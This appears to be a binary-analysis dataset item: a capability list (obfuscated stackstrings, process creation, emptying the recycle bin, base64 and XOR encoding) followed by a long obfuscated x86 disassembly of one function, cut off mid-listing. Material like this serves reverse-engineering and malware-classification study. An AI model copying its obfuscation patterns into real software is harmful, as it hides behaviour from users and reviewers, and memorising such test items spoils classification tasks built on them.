Function at 0x401000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Get file system object information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3b80
call fcn.0050e000
push esi
mov dword [ebp - 0x374], 0x55f5357b
mov dword [ebp - 0x2240], 0x9b7113ba
mov dword [ebp - 0x1bcc], 0x2ef692a6
mov dword [ebp - 0xa40], 0x6188e23b
mov dword [ebp - 0xa30], 0x3f82a56f
mov dword [ebp - 0x1330], 0x88dc7101
mov dword [ebp - 0x1f10], 0x313f75e4
mov dword [ebp - 0x2224], 0x5bd9d7b
mov dword [ebp - 0x289c], 0x3fc3d4a9
mov dword [ebp - 0x1ba4], 0x433df275
mov dword [ebp - 0x32a4], 0x78583495
mov byte [ebp - 0x1325], 0xab
mov byte [ebp - 0xd19], 0x2c
mov dword [ebp - 0x2870], 0x312b515b
mov dword [ebp - 0x35cc], 0x88625539
mov byte [ebp - 0x2529], 0x14
push 0
push 0
push 0
lea ecx, [ebp - 0x2208]
call fcn.0050dfa0
mov dword [ebp - 0x1878], 0xeb6d50fe
mov byte [ebp - 0x2861], 0xad
mov dword [ebp - 0x2510], 0x185e76cc
mov eax, 0x8e7
mov word [ebp - 0x2b5c], ax
mov dword [ebp - 0x680], 0x2b0d16c7
mov byte [ebp - 0x2b55], 0x7a
mov dword [ebp - 0x2858], 0x5528182e
mov dword [ebp - 0x38f4], 0x1dd5e055
mov dword [ebp - 0x183c], 0x357ec82e
mov dword [ebp - 0x38dc], 0x4e60a57
mov byte [ebp - 0x325d], 0x42
mov dword [ebp - 0x325c], 0x3b8d343b
mov dword [ebp - 0x21d8], 0x5359b48
mov dword [ebp - 0x3258], 0x4b87aca0
mov dword [ebp - 0x3254], 0x71eea7be
mov ecx, 0xfab
mov word [ebp - 0x21c8], cx
mov dword [ebp - 0x1b3c], 0x4711aded
mov dword [ebp - 0x95c], 0x1b2118f5
mov dword [ebp - 0x21bc], 0x6a8da362
mov dword [ebp - 0x658], 0xf01e4a73
mov edx, 0x723
mov word [ebp - 0x322c], dx
mov dword [ebp - 0x26c], 0x7cb45451
mov eax, 0x213
mov word [ebp - 0xcc8], ax
mov dword [ebp - 0x254], 0xf1f3525
mov ecx, 0xa77
mov word [ebp - 0x1e28], cx
mov edx, 0x5a5f
mov word [ebp - 0x356c], dx
mov dword [ebp - 0x12a0], 0x2a12eccb
mov eax, 0x97e
mov word [ebp - 0x24a0], ax
mov dword [ebp - 0xca0], 0x6fe8c113
mov ecx, 0x3fa
mov word [ebp - 0xc98], cx
mov dword [ebp - 0x1288], 0x46b2760a
mov dword [ebp - 0x217c], 0x5371c079
mov dword [ebp - 0x1b10], 0x65fb8ba1
mov edx, 0x513
mov word [ebp - 0x3538], dx
mov dword [ebp - 0xc8c], 0x3d9bfed3
mov dword [ebp - 0x8e0], 0x1530b51
mov byte [ebp - 0x2af2], 0xfc
mov eax, 0x10b9
mov word [ebp - 0x1fc], ax
mov ecx, 0x1537
mov word [ebp - 0x27a8], cx
mov dword [ebp - 0x3504], 0x318fee44
push 0
push 0
push 0
lea ecx, [ebp - 0x1524]
call fcn.0050dfa0
mov edx, 0xedf
mov word [ebp - 0x2794], dx
mov eax, 0x3849
mov word [ebp - 0x604], ax
mov dword [ebp - 0x31e4], 0x2365f08d
mov dword [ebp - 0x1aec], 0x2191ec36
mov byte [ebp - 0x1d8d], 0x60
mov dword [ebp - 0x1500], 0x2b7445b7
mov ecx, 0x2c9
mov word [ebp - 0x1ac4], cx
mov dword [ebp - 0x31cc], 0xae7cd0
mov dword [ebp - 0x2ac4], 0x43d4ef13
mov dword [ebp - 0x5c4], 0x400634cc
mov dword [ebp - 0x17a0], 0x2a4fbae
mov dword [ebp - 0x1ab0], 0x24b0e3ca
mov dword [ebp - 0x11f8], 0x2a44e67c
mov dword [ebp - 0x20d8], 0x6558f4fb
mov edx, 0xe31
mov word [ebp - 0xc2c], dx
mov dword [ebp - 0x880], 0x1e4270f2
mov dword [ebp - 0x5a0], 0xbb2714a7
mov byte [ebp - 0x2aa6], 0x26
mov dword [ebp - 0x584], 0x9ee2c8
mov dword [ebp - 0x20ac], 0xccbdfa4c
mov eax, 0x2ad
mov word [ebp - 0x11c4], ax
mov dword [ebp - 0x1a50], 0x1ea1afc3
mov byte [ebp - 0x1a45], 0x17
mov byte [ebp - 0x55d], 0x51
mov dword [ebp - 0x3170], 0x59f43db3
mov dword [ebp - 0x3164], 0x92149d0
mov ecx, 0x253
mov word [ebp - 0x2a84], cx
mov byte [ebp - 0x3779], 0x1e
mov dword [ebp - 0x1d34], 0x4ba7f40
mov byte [ebp - 0x539], 0xae
mov dword [ebp - 0x1d18], 0xbdf9f847
mov dword [ebp - 0x171c], 0x2cb0901b
mov dword [ebp - 0x1714], 0x6128e055
mov dword [ebp - 0x524], 0x1a84e254
mov dword [ebp - 0x1d0c], 0x1d6b475f
mov edx, 0x9d4
mov word [ebp - 0x26d8], dx
mov dword [ebp - 0x1184], 0x546b263
mov dword [ebp - 0x2064], 0x137eadb5
mov dword [ebp - 0x3414], 0x49b890e4
mov dword [ebp - 0x1440], 0x7984e3eb
mov dword [ebp - 0x1ce0], 0x23156d80
mov dword [ebp - 0x1cdc], 0x1d5b8b8b
mov eax, 0x426b
mov word [ebp - 0x2a24], ax
mov byte [ebp - 0x1435], 0x2b
mov byte [ebp - 0x2675], 0x18
mov byte [ebp - 0x36e5], 0x21
mov ecx, 0x5371
mov word [ebp - 0x2330], cx
mov edx, 0xeeb
mov word [ebp - 0x36d4], dx
mov dword [ebp - 0x1990], 0x3cb68a31
mov dword [ebp - 0x33b8], 0x6ef833ce
mov dword [ebp - 0x79c], 0x7f7ef117
mov byte [ebp - 0xaf5], 0xe
mov eax, 0x937
mov word [ebp - 0x2634], ax
mov dword [ebp - 0x197c], 0x5d715cf8
mov dword [ebp - 0xe44], 0x1d145692
mov byte [ebp - 0xae1], 0x10
mov ecx, 0x224
mov word [ebp - 0x16a8], cx
mov edx, 0x4e9
mov word [ebp - 0xe34], dx
mov dword [ebp - 0x2618], 0x13cfe003
mov byte [ebp - 0x1c6d], 0x65
mov byte [ebp - 0x2c59], 0x3d
mov byte [ebp - 0x1695], 0x52
mov dword [ebp - 0xe20], 0x581fbae5
mov dword [ebp - 0x2c54], 0x75a57a17
mov dword [ebp - 0xe18], 0xb66758e7
mov eax, 0xa1
mov word [ebp - 0xac4], ax
mov dword [ebp - 0x1fb0], 0x5ac50504
mov dword [ebp - 0x74c], 0x39d96c15
mov byte [ebp - 0xab2], 0xf
mov ecx, 0xd44
mov word [ebp - 0x1938], cx
mov dword [ebp - 0x29a0], 0x6e12fb4f
mov byte [ebp - 0x367b], 0x18
mov edx, 0xd7a
mov word [ebp - 0x2c3c], dx
mov dword [ebp - 0x3b4], 0x2bc4ced
mov eax, 0x1420
mov word [ebp - 0x2bb8], ax
mov dword [ebp - 0x3328], 0x731103ac
mov ecx, 0x778
mov word [ebp - 0x1380], cx
mov byte [ebp - 0x1619], 0x1a
mov dword [ebp - 0xd84], 0x771920dd
mov edx, dword [section..data]
mov dword [ebp - 0x16fc], edx
mov dword [ebp - 0x14a8], 0xa725
movzx eax, word [ebp + 8]
sub eax, 0x140
mov word [ebp - 0x24a0], ax
mov cl, byte [ebp + 0xc]
mov byte [ebp - 0x3495], cl
movzx edx, word [ebp - 0x24a0]
add edx, 0x2a6
movzx eax, word [ebp + 8]
cmp edx, eax
jl 0x401638
mov cl, byte [ebp - 0x3495]
mov byte [ebp - 0x3988], cl
cmp byte [ebp - 0x3988], 0
je 0x40161b
cmp byte [ebp - 0x3988], 0xb7
je 0x4015d0
jmp 0x401638
mov dl, byte [ebp - 0x3495]
mov byte [ebp + 0xc], dl
movzx eax, byte [ebp - 0x3495]
push eax
push 0xab
push 0x3c
push 0xffffffffffffffb5
push 0xfffffffffffffff3
call fcn.00429f50
mov ecx, dword [ebp - 0x878]
push ecx
mov edx, dword [ebp - 0x33bc]
push edx
mov eax, dword [ebp - 0x254c]
push eax
mov ecx, dword [ebp - 0x16f4]
push ecx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x798], eax
jmp 0x401638
mov edx, 0x367d
mov word [ebp - 0x17e0], dx
mov dword [ebp - 0x1270], 0x5ec8
mov byte [ebp - 0x2569], 0x76
mov dword [ebp - 0x2bb0], 0x6be4
lea eax, [ebp - 0x3495]
mov dword [ebp - 0x1678], eax
movsx ecx, word [ebp - 0x17e0]
cmp ecx, 0x2af
jg 0x401740
movzx edx, byte [ebp - 0x3495]
movzx ecx, byte [ebp + 0xc]
shl edx, cl
mov eax, dword [ebp - 0x1678]
mov byte [eax], dl
movsx ecx, word [ebp - 0x17e0]
cmp ecx, 0x233f
je 0x4016aa
mov dx, word [ebp - 0x24a0]
mov word [ebp + 8], dx
mov eax, dword [ebp - 0x1678]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x3495]
sar edx, cl
mov eax, dword [ebp - 0x1678]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x3495]
push ecx
movzx edx, byte [ebp - 0x2569]
push edx
call fcn.004d1cd0
mov eax, dword [ebp - 0x1608]
push eax
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0x39c], eax
movzx ecx, byte [ebp + 0xc]
movzx edx, byte [ebp - 0x3495]
xor ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
movsx ecx, word [ebp - 0x17e0]
or ecx, 0x6631
mov word [ebp - 0x17e0], cx
movzx edx, word [ebp - 0x24a0]
push edx
movzx eax, byte [ebp - 0x2569]
push eax
movzx ecx, word [ebp - 0x17e0]
push ecx
mov dl, byte [ebp - 0x3495]
mov cl, byte [ebp - 0x3495]
call fcn.00478870
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 0xc]
add eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
jmp 0x4018c3
lea eax, [ebp - 0x24a0]
mov dword [ebp - 0x1b34], eax
mov dword [ebp - 0x2580], 0x40bb
lea ecx, [ebp - 0x798]
mov dword [ebp - 0x3794], ecx
mov dl, byte [ebp + 0xc]
mov byte [ebp - 0x398c], dl
cmp byte [ebp - 0x398c], 0
je 0x401786
cmp byte [ebp - 0x398c], 0x56
je 0x4018a8
jmp 0x4018c3
mov dword [ebp - 0x381c], 0xe238601f
movsx eax, word [ebp - 0x17e0]
sub eax, 0x5961
cmp eax, 0x2166
jge 0x401882
movsx ecx, word [ebp - 0x17e0]
cmp ecx, 0x41ec
jg 0x401880
movzx edx, byte [ebp + 0xc]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
and edx, ecx
movzx eax, byte [ebp - 0x3495]
cmp edx, eax
jg 0x40186a
cmp dword [ebp - 0x381c], 0x5b058ef7
jae 0x401868
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
mov dword [ebp - 0x3990], edx
cmp dword [ebp - 0x3990], 0x6f7
je 0x401852
cmp dword [ebp - 0x3990], 0xea0
je 0x401811
jmp 0x401868
mov al, byte [ebp - 0x3495]
mov byte [ebp + 0xc], al
push 0
mov ecx, dword [ebp - 0x1af8]
push ecx
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
lea eax, [ebp - 0x16f4]
push eax
call dword [sym.imp.SHELL32.dll_ILFree]
jmp 0x401868
movzx ecx, word [ebp + 8]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x24a0], cx
jmp 0x401880
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
jmp 0x40189c
lea ecx, [ebp - 0x381c]
push ecx
lea edx, [ebp - 0x24a0]
push edx
call dword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [ebp - 0x6d4], eax
mov dword [ebp - 0x480], 0x71ab
jmp 0x4018c3
call fcn.004d7e60
mov eax, dword [ebp - 0x3794]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [eax]
mov dword [ebp - 0x3168], ecx
mov dword [ebp - 0x2128], 0x31a
lea edx, [ebp - 0x24a0]
mov dword [ebp - 0x100], edx
cmp dword [ebp - 0x2bb0], 0x61af
jbe 0x401c33
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0xc]
xor ecx, edx
mov byte [ebp - 0x3495], cl
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp + 0xc]
sar eax, cl
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
mov dl, byte [ebp - 0x3495]
mov byte [ebp + 0xc], dl
mov eax, dword [ebp - 0x1678]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x3495]
shl edx, cl
mov byte [ebp + 0xc], dl
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp + 0xc]
or eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
and ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x24a0], dx
mov edx, dword [ebp - 0x2bb0]
sub edx, 0x43
mov dword [ebp - 0x2bb0], edx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
sub ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
add edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x16fc]
sub ecx, dword [ebp - 0x3168]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
movzx edx, word [ebp + 8]
and ecx, edx
mov eax, dword [ebp - 0x100]
mov word [eax], cx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
sub edx, eax
mov byte [ebp + 0xc], dl
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp + 0xc]
add ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x24a0]
sub edx, eax
mov ecx, dword [ebp - 0x1b34]
mov word [ecx], dx
mov edx, dword [ebp - 0x3168]
add edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x381c]
shr ecx, 0x1f
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x3794]
mov eax, dword [edx]
xor eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp + 0xc], dl
movzx edx, byte [ebp + 0xc]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x3495], dl
movzx ecx, word [ebp - 0x24a0]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x1b34]
mov word [edx], cx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
movsx eax, word [ebp - 0x17e0]
add eax, 0x1397
mov word [ebp - 0x17e0], ax
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
sub edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x798]
add ecx, dword [ebp - 0x3168]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
movzx edx, word [ebp + 8]
sub ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 0xc]
and edx, eax
mov byte [ebp - 0x3495], dl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x798]
mov dword [ebp - 0x3168], edx
mov eax, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x3168]
sar eax, cl
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movzx edx, byte [ebp + 0xc]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x3495], dl
movzx ecx, word [ebp - 0x24a0]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x100]
mov word [edx], cx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
or ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0x3168]
and eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3168]
sub edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16fc]
mov dword [ebp - 0x798], ecx
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x3794]
mov eax, dword [edx]
sub eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
jmp 0x4018e7
mov edx, dword [ebp - 0x1678]
mov al, byte [edx]
mov byte [ebp - 0x3994], al
cmp byte [ebp - 0x3994], 0
je 0x401c71
cmp byte [ebp - 0x3994], 0x4b
je 0x401c58
jmp 0x429e5a
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x3168]
or edx, dword [ecx]
mov dword [ebp - 0x798], edx
jmp 0x429e5a
lea eax, [ebp - 0x3495]
mov dword [ebp - 0x26fc], eax
mov dword [ebp - 0x1578], 0x9aa2
mov dword [ebp - 0x1f7c], 0x8a4e
lea ecx, [ebp - 0x24a0]
mov dword [ebp - 0xc1c], ecx
lea edx, [ebp - 0x381c]
mov dword [ebp - 0x140c], edx
lea eax, [ebp - 0x798]
mov dword [ebp - 0x2260], eax
mov dword [ebp - 0x20d4], 0x6d1a
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3168]
mov dword [ebp - 0x16fc], edx
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x3998], eax
cmp dword [ebp - 0x3998], 0
je 0x401cfd
cmp dword [ebp - 0x3998], 0x61c60247
je 0x429d9c
jmp 0x429ddd
lea ecx, [ebp - 0x2569]
mov dword [ebp - 0x1d78], ecx
movsx edx, byte [ebp - 0x2569]
sub edx, 0x65
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
cmp edx, ecx
jle 0x401d68
call fcn.0046d040
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
mov dword [ebp - 0x399c], eax
cmp dword [ebp - 0x399c], 0x3ae016d5
je 0x401d41
jmp 0x401d57
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
jmp 0x401d66
push 0
mov eax, dword [ebp - 0x1af8]
push eax
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
jmp 0x401d93
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x3168]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x16fc]
add eax, dword [ebp - 0x2a4c]
cmp edx, eax
je 0x401d93
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp + 8], dx
lea eax, [ebp - 0x3495]
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1d4], 0xd402
mov dword [ebp - 0x2c84], 0x588e
cmp dword [ebp - 0x2128], 0x41f9
je 0x40205b
mov ecx, dword [ebp - 0x381c]
and ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [ebp - 0x3794]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov edx, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x3168]
shl edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x16fc]
sar edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x100]
mov word [eax], dx
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp + 0xc]
add ecx, edx
mov eax, dword [ebp - 0x26fc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x1b34]
mov cx, word [eax]
mov word [ebp + 8], cx
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
and eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x381c]
sub edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x100]
mov word [eax], dx
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 0xc]
add edx, eax
mov byte [ebp - 0x3495], dl
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2569]
add edx, eax
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], dl
movsx edx, word [ebp - 0x17e0]
sub edx, 0x5d2a
mov word [ebp - 0x17e0], dx
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x381c]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xc1c]
mov word [edx], cx
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp + 0xc], al
mov eax, dword [ebp - 0x2128]
add eax, 0xb9
mov dword [ebp - 0x2128], eax
mov ecx, dword [ebp - 0x3168]
or ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x140c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x381c]
shr edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x2a4c]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3168]
and ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
movzx eax, word [ebp - 0x24a0]
movzx ecx, word [ebp + 8]
sub eax, ecx
mov edx, dword [ebp - 0x1b34]
mov word [edx], ax
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x1ec]
mov byte [edx], cl
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x538], ecx
mov edx, dword [ebp - 0x798]
add edx, dword [ebp - 0x2a4c]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
movzx ecx, word [ebp - 0x24a0]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp + 8], cx
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x24a0]
add edx, eax
mov word [ebp + 8], dx
jmp 0x401db3
movsx ecx, byte [ebp - 0x2569]
sub ecx, 0x7c
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
cmp ecx, eax
jge 0x429d6a
lea ecx, [ebp - 0x17e0]
mov dword [ebp - 0x718], ecx
mov dword [ebp - 0x1430], 0x11472
cmp dword [ebp - 0x1430], 0xcac6
jbe 0x4022dd
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
xor eax, 0x5e
mov byte [ebp - 0x2569], al
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x3495]
sar edx, cl
mov byte [ebp + 0xc], dl
movzx eax, word [ebp - 0x24a0]
mov ecx, dword [ebp - 0x1b34]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x100]
mov word [edx], ax
mov eax, dword [ebp - 0x140c]
mov ecx, dword [ebp - 0x538]
or ecx, dword [eax]
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
and eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1678]
mov byte [eax], dl
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x1b34]
mov word [eax], dx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
mov dword [ebp - 0x2a4c], edx
mov eax, dword [ebp - 0x1430]
sub eax, 0xcd
mov dword [ebp - 0x1430], eax
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ebp - 0x538]
add edx, dword [ecx]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3168]
mov dword [ebp - 0x2a4c], ecx
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
sub eax, ecx
mov edx, dword [ebp - 0x26fc]
mov byte [edx], al
movzx eax, word [ebp + 8]
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x24a0], ax
mov eax, dword [ebp - 0x140c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x381c]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x798]
add eax, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movsx edx, word [ebp - 0x17e0]
or edx, 0x1983
mov eax, dword [ebp - 0x718]
mov word [eax], dx
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2569]
xor edx, eax
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], dl
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
movzx ecx, word [ebp + 8]
shl eax, cl
mov word [ebp - 0x24a0], ax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x381c]
and eax, dword [edx]
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x2260]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x16fc]
add eax, dword [edx]
mov dword [ebp - 0x3168], eax
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x538]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
